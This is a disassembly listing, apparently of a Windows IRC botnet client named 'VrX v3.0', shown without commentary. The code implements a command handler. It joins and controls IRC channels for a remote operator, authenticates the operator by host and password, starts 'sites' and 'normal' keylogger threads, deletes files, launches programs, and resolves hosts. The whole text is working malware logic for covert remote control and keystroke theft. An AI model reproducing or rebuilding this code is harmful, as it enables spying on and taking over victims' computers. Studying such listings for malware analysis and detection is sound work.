jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push esi
push offset unk_42A258
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_408A9E: ; CODE XREF: sub_401ACD+47A9j
; sub_401ACD+47C0j
push [ebp+var_8C]
push offset dword_42CCC8
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_401F75
push [ebp+arg_18]
push offset dword_42A24C
push [ebp+arg_4]
call sub_409823
push edi
call sub_41C159
imul eax, 3E8h
add esp, 10h
push eax
call dword_427080 ; Sleep
push [ebp+esi+var_84]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
push offset dword_42A238
call sub_415D38
jmp loc_4034BF
; ---------------------------------------------------------------------------
loc_408B04: ; CODE XREF: sub_401ACD+477Bj
; sub_401ACD+4792j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
call sub_41B9C0
push [ebp+arg_8]
mov esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409644
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A968
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_409869
add esp, 20h
push esi
push edi
push offset unk_42A21C
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408B6D: ; CODE XREF: sub_401ACD+474Dj
; sub_401ACD+4764j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
call sub_41B9C0
push [ebp+arg_8]
mov esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_409644
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_409869
add esp, 14h
push esi
push edi
push offset unk_42A200
jmp loc_408967
; ---------------------------------------------------------------------------
loc_408BBE: ; CODE XREF: sub_401ACD+471Fj
; sub_401ACD+4736j
cmp [ebp+var_C], ebx
jz loc_401F75
push [ebp+arg_18]
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F75
push eax
push edi
call sub_415C40
pop ecx
pop ecx
push edi
push offset unk_42A1E4
jmp loc_40723F
; ---------------------------------------------------------------------------
loc_408BF0: ; CODE XREF: sub_401ACD+46F1j
; sub_401ACD+4708j
push [ebp+arg_18]
push edi
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418A2E
loc_408C05: ; CODE XREF: sub_401ACD+25ECj
add esp, 14h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_408C0D: ; CODE XREF: sub_401ACD+46B1j
; sub_401ACD+46C8j
push edi
push [ebp+arg_1C]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz loc_409644
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz loc_408CB1
push esi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408C99
push esi
lea eax, [ebp+var_2C4]
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42A430
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 24h
lea eax, [ebp+var_2C4]
push esi
push edi
push offset unk_42A1C0
push eax
call sub_41C266
add esp, 10h
inc [ebp+arg_24]
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408C99: ; CODE XREF: sub_401ACD+7171j
lea eax, [ebp+var_2C4]
push offset unk_42A190
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408CB1: ; CODE XREF: sub_401ACD+715Cj
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B243
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
lea eax, [ebp+var_2C4]
push edi
push offset unk_42A178
push 200h
push eax
call sub_41C360
add esp, 10h
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408CFB: ; CODE XREF: sub_401ACD+4434j
; sub_401ACD+444Bj
push edi
push 23h
push offset aKeylog_0 ; "Keylog"
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
loc_408D08: ; CODE XREF: sub_401ACD+103Cj
; sub_401ACD+108Fj ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40B648
add esp, 20h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_408D24: ; CODE XREF: sub_401ACD+4406j
; sub_401ACD+441Dj
push 23h
call sub_40B602
test eax, eax
pop ecx
jle short loc_408D3A
push offset aKeylogerAlread ; "Keyloger Already running."
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408D3A: ; CODE XREF: sub_401ACD+7261j
mov eax, [ebp+arg_4]
push edi
mov [ebp+var_A98], eax
mov eax, [ebp+var_4]
mov [ebp+var_A0C], eax
mov eax, [ebp+var_8]
push offset aWeb ; "web"
mov [ebp+var_A08], eax
mov [ebp+var_A10], ebx
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408DB9
mov esi, [ebp+esi+var_88]
mov [ebp+var_A10], 1
cmp esi, ebx
jnz short loc_408D9D
mov esi, offset aF_0 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408D9D
mov esi, [ebp+var_88]
loc_408D9D: ; CODE XREF: sub_401ACD+72B2j
; sub_401ACD+72C8j
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41C360
add esp, 0Ch
push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active."
jmp short loc_408E0F
; ---------------------------------------------------------------------------
loc_408DB9: ; CODE XREF: sub_401ACD+729Dj
push edi
push offset aNormal_0 ; "normal"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_408E97
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_408DF5
mov esi, offset aF_0 ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_408DF5
mov esi, [ebp+var_88]
loc_408DF5: ; CODE XREF: sub_401ACD+730Aj
; sub_401ACD+7320j
push esi
lea eax, [ebp+var_A90]
push 80h
push eax
call sub_41C360
add esp, 0Ch
push offset aNormalKeyLogge ; "Normal key logger active."
loc_408E0F: ; CODE XREF: sub_401ACD+72EAj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push ebx
push 23h
push eax
call sub_40B3BA
add esp, 0Ch
mov [ebp+var_A94], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A98]
push ebx
push eax
push offset sub_4126A7
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_A94]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_408E7A
loc_408E64: ; CODE XREF: sub_401ACD+73ABj
cmp [ebp+var_A04], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_408E64
; ---------------------------------------------------------------------------
loc_408E7A: ; CODE XREF: sub_401ACD+7395j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset aFailedToStartL ; "Failed to start logging thread, error: "...
loc_408E86: ; CODE XREF: sub_401ACD+20F8j
; sub_401ACD+2E94j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
jmp loc_4081AA
; ---------------------------------------------------------------------------
loc_408E97: ; CODE XREF: sub_401ACD+72FBj
push offset aUnknowModeType ; "Unknow mode type."
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_408EA1: ; CODE XREF: sub_401ACD+4065j
; sub_401ACD+407Cj
push offset aR ; "r"
push edi
call sub_41BEA2
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_408F0D
mov ebx, 200h
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
call sub_41C52F
add esp, 0Ch
loc_408ECA: ; CODE XREF: sub_401ACD+742Cj
test eax, eax
jz short loc_408EFB
push 1
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
call sub_41C52F
add esp, 20h
jmp short loc_408ECA
; ---------------------------------------------------------------------------
loc_408EFB: ; CODE XREF: sub_401ACD+73FFj
push esi
call sub_41BA3B
pop ecx
push edi
push offset unk_42A0A4
jmp loc_409091
; ---------------------------------------------------------------------------
loc_408F0D: ; CODE XREF: sub_401ACD+73E5j
push edi
push offset unk_42A084
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_408F18: ; CODE XREF: sub_401ACD+4037j
; sub_401ACD+404Ej
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push offset asc_42A080 ; "\n"
push esi
call sub_41C8A0
push esi
call sub_419F9D
add esp, 0Ch
test eax, eax
jnz short loc_408F55
push offset unk_42A054
jmp short loc_408FA2
; ---------------------------------------------------------------------------
loc_408F55: ; CODE XREF: sub_401ACD+747Fj
push esi
lea eax, [ebp+var_2C4]
push offset dword_42A03C
push eax
call sub_41C266
add esp, 0Ch
jmp loc_408699
; ---------------------------------------------------------------------------
loc_408F6F: ; CODE XREF: sub_401ACD+4009j
; sub_401ACD+4020j
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_409644
push eax
call sub_41875E
test eax, eax
pop ecx
jnz short loc_408F9D
push offset unk_42A01C
jmp short loc_408FA2
; ---------------------------------------------------------------------------
loc_408F9D: ; CODE XREF: sub_401ACD+74C7j
push offset dword_42A000
loc_408FA2: ; CODE XREF: sub_401ACD+7486j
; sub_401ACD+74CEj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_408678
; ---------------------------------------------------------------------------
loc_408FB5: ; CODE XREF: sub_401ACD+3FDBj
; sub_401ACD+3FF2j
push 7Fh
lea eax, [ebp+var_2084]
push edi
push eax
call sub_41BFD0
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_408FE4
push 7Fh
lea eax, [ebp+var_2004]
push esi
push eax
call sub_41BFD0
add esp, 0Ch
loc_408FE4: ; CODE XREF: sub_401ACD+7503j
push 7Fh
lea eax, [ebp+var_1F84]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_2088], eax
mov eax, [ebp+var_8]
mov [ebp+var_1F00], eax
mov eax, [ebp+var_4]
mov [ebp+var_1EFC], eax
push edi
lea eax, [ebp+var_2C4]
push offset dword_429FE8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ch
push eax
call sub_40B3BA
add esp, 18h
mov [ebp+var_1F04], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2088]
push ebx
push eax
push offset sub_41B302
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1F04]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_409085
loc_40906F: ; CODE XREF: sub_401ACD+75B6j
cmp [ebp+var_1EF8], ebx
jnz loc_406C1F
push 32h
call dword_427080 ; Sleep
jmp short loc_40906F
; ---------------------------------------------------------------------------
loc_409085: ; CODE XREF: sub_401ACD+75A0j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_429FA8
loc_409091: ; CODE XREF: sub_401ACD+298Bj
; sub_401ACD+743Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_406C1F
; ---------------------------------------------------------------------------
loc_4090A5: ; CODE XREF: sub_401ACD+3FADj
; sub_401ACD+3FC4j
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push edi
call sub_41036B
add esp, 10h
push edi
push offset dword_429F90
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_4090C3: ; CODE XREF: sub_401ACD+3F7Fj
; sub_401ACD+3F96j
push 14h
lea eax, [ebp+var_1D4C]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1D38]
push edi
push offset aS_2 ; "%s"
push eax
call sub_41C266
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_1D54], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_1C34]
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1BAC], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA8], eax
lea eax, [ebp+var_1C34]
push eax
lea eax, [ebp+var_1D38]
push eax
lea eax, [ebp+var_2C4]
push offset unk_429F6C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_1BB0], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D54]
push ebx
push eax
push offset sub_4161C1
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_1BB0]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz loc_4023CA
loc_40918A: ; CODE XREF: sub_401ACD+76D1j
cmp [ebp+var_1BA4], ebx
jnz loc_4082DE
push 32h
call dword_427080 ; Sleep
jmp short loc_40918A
; ---------------------------------------------------------------------------
loc_4091A0: ; CODE XREF: sub_401ACD+3F51j
; sub_401ACD+3F68j
push edi
call dword_427088 ; DeleteFileA
test eax, eax
jz short loc_4091C7
push edi
push offset dword_429F50
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
jmp loc_40929A
; ---------------------------------------------------------------------------
loc_4091C7: ; CODE XREF: sub_401ACD+76DCj
push offset dword_42A5A8
call sub_418699
pop ecx
push eax
jmp loc_403EED
; ---------------------------------------------------------------------------
loc_4091D8: ; CODE XREF: sub_401ACD+3F23j
; sub_401ACD+3F3Aj
push edi
call sub_41C159
push eax
call sub_419F16
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_4091F5
push offset unk_429F2C
jmp short loc_4091FA
; ---------------------------------------------------------------------------
loc_4091F5: ; CODE XREF: sub_401ACD+771Fj
push offset unk_429EFC
loc_4091FA: ; CODE XREF: sub_401ACD+7726j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406C22
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_406C22
; ---------------------------------------------------------------------------
loc_409233: ; CODE XREF: sub_401ACD+3EF5j
; sub_401ACD+3F0Cj
push ebx
push ebx
push edi
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_419C09
add esp, 18h
cmp eax, 1
push edi
jnz short loc_409255
push offset unk_429EDC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_409255: ; CODE XREF: sub_401ACD+777Cj
push offset unk_429EAC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_40925F: ; CODE XREF: sub_401ACD+3EC7j
; sub_401ACD+3EDEj
push edi
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D8], eax
jz short loc_4092A2
push 2
lea eax, [ebp+var_2D8]
push 4
push eax
call dword_4CB98C ; gethostbyaddr
cmp eax, ebx
jz short loc_4092BD
push dword ptr [eax]
loc_409288: ; CODE XREF: sub_401ACD+77EEj
push edi
lea eax, [ebp+var_2C4]
push offset unk_429E8C
push eax
call sub_41C266
loc_40929A: ; CODE XREF: sub_401ACD+76F5j
add esp, 10h
jmp loc_406BFE
; ---------------------------------------------------------------------------
loc_4092A2: ; CODE XREF: sub_401ACD+77A2j
push edi
call dword_4CBA58 ; gethostbyname
cmp eax, ebx
jz short loc_4092BD
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CBA60 ; inet_ntoa
push eax
jmp short loc_409288
; ---------------------------------------------------------------------------
loc_4092BD: ; CODE XREF: sub_401ACD+77B7j
; sub_401ACD+77DEj
push offset unk_429E64
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_4092C7: ; CODE XREF: sub_401ACD+3E99j
; sub_401ACD+3EB0j
push 7Fh
push edi
push [ebp+arg_14]
call sub_41BFD0
add esp, 0Ch
push edi
push offset unk_429E40
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_4092E0: ; CODE XREF: sub_401ACD+3E6Bj
; sub_401ACD+3E82j
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call dword_4CB940
test eax, eax
push edi
jz short loc_409300
push offset unk_429E20
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_409300: ; CODE XREF: sub_401ACD+7827j
push offset unk_429DFC
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_40930A: ; CODE XREF: sub_401ACD+3E3Dj
; sub_401ACD+3E54j
mov al, [edi]
mov byte_429094, al
movsx eax, byte ptr [edi]
push eax
push offset unk_429DD8
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_40931F: ; CODE XREF: sub_401ACD+3E0Fj
; sub_401ACD+3E26j
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AE84
add esp, 10h
push eax
lea eax, [ebp+var_2C4]
push offset dword_42B894
push eax
call sub_41C266
add esp, 0Ch
jmp loc_4088B1
; ---------------------------------------------------------------------------
loc_40936D: ; CODE XREF: sub_401ACD+3DE1j
; sub_401ACD+3DF8j
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_401F75
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_401F75
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409823
pop ecx
pop ecx
push 1F4h
call dword_427080 ; Sleep
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call dword_4CBA6C ; closesocket
push [ebp+var_10]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E924[eax]
call dword_4270B4 ; TerminateThread
push edi
call sub_41C159
imul eax, 234h
push edi
mov dword_43E924[eax], ebx
call sub_41C159
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_43E710[eax], bl
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_409418: ; CODE XREF: sub_401ACD+3DB3j
; sub_401ACD+3DCAj
push edi
push offset aAll ; "all"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_409447
call sub_40B583
cmp eax, ebx
jle short loc_40943D
push eax
push offset unk_429DAC
jmp loc_40723F
; ---------------------------------------------------------------------------
loc_40943D: ; CODE XREF: sub_401ACD+7963j
push offset unk_429D84
jmp loc_403F8F
; ---------------------------------------------------------------------------
loc_409447: ; CODE XREF: sub_401ACD+795Aj
mov eax, [ebp+var_AC]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_401F75
lea eax, [ebp+edi*4+var_90]
mov [ebp+arg_24], eax
loc_409463: ; CODE XREF: sub_401ACD+7A07j
mov eax, [ebp+arg_24]
mov esi, [eax]
cmp esi, ebx
jz loc_401F75
push esi
call sub_41C159
push eax
call sub_40B4F5
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_40948A
push offset unk_429D60
jmp short loc_40948F
; ---------------------------------------------------------------------------
loc_40948A: ; CODE XREF: sub_401ACD+79B4j
push offset unk_429D34
loc_40948F: ; CODE XREF: sub_401ACD+79BBj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4094BF
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4094BF: ; CODE XREF: sub_401ACD+79D4j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
add [ebp+arg_24], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_409463
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4094DB: ; CODE XREF: sub_401ACD+3D85j
; sub_401ACD+3D9Cj
cmp [ebp+var_C], ebx
jz loc_409644
push edi
push [ebp+var_C]
call sub_41C2E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_409644
push esi
push offset dword_42A2E8
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push esi
push offset unk_429D1C
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409515: ; CODE XREF: sub_401ACD+3D57j
; sub_401ACD+3D6Ej
push edi
push offset dword_42A24C
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push offset unk_429CFC
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409531: ; CODE XREF: sub_401ACD+3D29j
; sub_401ACD+3D40j
push [ebp+esi+var_88]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
push edi
push offset unk_429CDC
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409554: ; CODE XREF: sub_401ACD+3CFBj
; sub_401ACD+3D12j
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push offset unk_429CB8
jmp loc_40963D
; ---------------------------------------------------------------------------
loc_409570: ; CODE XREF: sub_401ACD+3123j
; sub_401ACD+313Aj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push edi
push offset unk_429C98
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
loc_4095A6: ; CODE XREF: sub_401ACD+7B23j
push eax
call dword_427080 ; Sleep
loc_4095AD: ; CODE XREF: sub_401ACD+2A5Fj
xor eax, eax
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_4095B4: ; CODE XREF: sub_401ACD+30F5j
; sub_401ACD+310Cj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_409823
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push edi
push offset unk_429C70
push eax
call sub_41C266
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
push edi
call sub_41C159
add esp, 14h
imul eax, 3E8h
jmp short loc_4095A6
; ---------------------------------------------------------------------------
loc_4095F2: ; CODE XREF: sub_401ACD+EADj
; sub_401ACD+EC2j
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_338]
push dword_42909C
push eax
call sub_40AE84
add esp, 10h
lea eax, [ebp+var_338]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
lea eax, [ebp+var_338]
push eax
push offset unk_429C4C
loc_40963D: ; CODE XREF: sub_401ACD+6FCCj
; sub_401ACD+75F1j ...
call sub_415DAC
pop ecx
loc_409643: ; CODE XREF: sub_401ACD+6BD8j
pop ecx
loc_409644: ; CODE XREF: sub_401ACD+63Dj
; sub_401ACD+649j ...
mov eax, [ebp+arg_24]
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_40964C: ; CODE XREF: sub_401ACD+A98j
; sub_401ACD+AADj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_20], esi
jz loc_401F75
cmp [ebp+var_A4], ebx
jnz loc_401F75
push offset asc_42CDBC ; "!"
push [ebp+var_90]
call sub_41CAD4
mov esi, eax
push offset word_4CB88C
push ebx
inc esi
call sub_41CAD4
push offset asc_429C48 ; "~"
push eax
call sub_41CAD4
push [ebp+arg_20]
mov edi, eax
push offset aCool ; "cool"
call sub_41CA50
add esp, 20h
test eax, eax
jz short loc_4096EB
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push esi
push offset unk_429BC8
jmp loc_4023EE
; ---------------------------------------------------------------------------
loc_4096EB: ; CODE XREF: sub_401ACD+7BDAj
mov [ebp+arg_24], offset off_42915C
loc_4096F2: ; CODE XREF: sub_401ACD+7C41j
mov eax, [ebp+arg_24]
push edi
push dword ptr [eax]
call sub_40B713
pop ecx
test eax, eax
pop ecx
jnz short loc_409752
add [ebp+arg_24], 4
cmp [ebp+arg_24], offset off_429160
jb short loc_4096F2
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 14h
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push edi
push esi
push offset unk_429B74
jmp loc_4023EE
; ---------------------------------------------------------------------------
loc_409752: ; CODE XREF: sub_401ACD+7C34j
mov edi, [ebp+arg_18]
xor esi, esi
loc_409757: ; CODE XREF: sub_401ACD+7CB4j
cmp [ebp+arg_20], ebx
jz loc_401F75
cmp [edi], bl
jnz short loc_409777
push [ebp+arg_20]
push offset aCool ; "cool"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_409788
loc_409777: ; CODE XREF: sub_401ACD+7C95j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_409757
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_409788: ; CODE XREF: sub_401ACD+7CA8j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E04]
push 7Fh
push eax
push esi
call sub_41BFD0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4097BF
push ebx
push [ebp+var_4]
push offset unk_429B54
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_4097BF: ; CODE XREF: sub_401ACD+7CD6j
lea eax, [ebp+var_C4]
push eax
push offset unk_429B34
loc_4097CB: ; CODE XREF: sub_401ACD+595j
; sub_401ACD+2889j ...
call sub_415DAC
loc_4097D0: ; CODE XREF: sub_401ACD+1B81j
pop ecx
loc_4097D1: ; CODE XREF: sub_401ACD+24FDj
pop ecx
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4097D7: ; CODE XREF: sub_401ACD+20Ej
; sub_401ACD+223j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 0Ch
push offset aXI ; "-x+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409823
add esp, 10h
mov dword_4CB884, edi
jmp loc_401D6A
sub_401ACD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409823 proc near ; CODE XREF: sub_401955+3Dp
; sub_401ACD+1CBp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41CB70
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
leave
retn
sub_409823 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409869 proc near ; CODE XREF: sub_401ACD+506p
; sub_401ACD+134Ep ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_409884
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_409884: ; CODE XREF: sub_409869+14j
push edi
call sub_41B9C0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41B9C0
pop ecx
sub esi, eax
pop ecx
lea eax, [ebp+var_400]
push [ebp+arg_8]
push offset aS_2 ; "%s"
push esi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
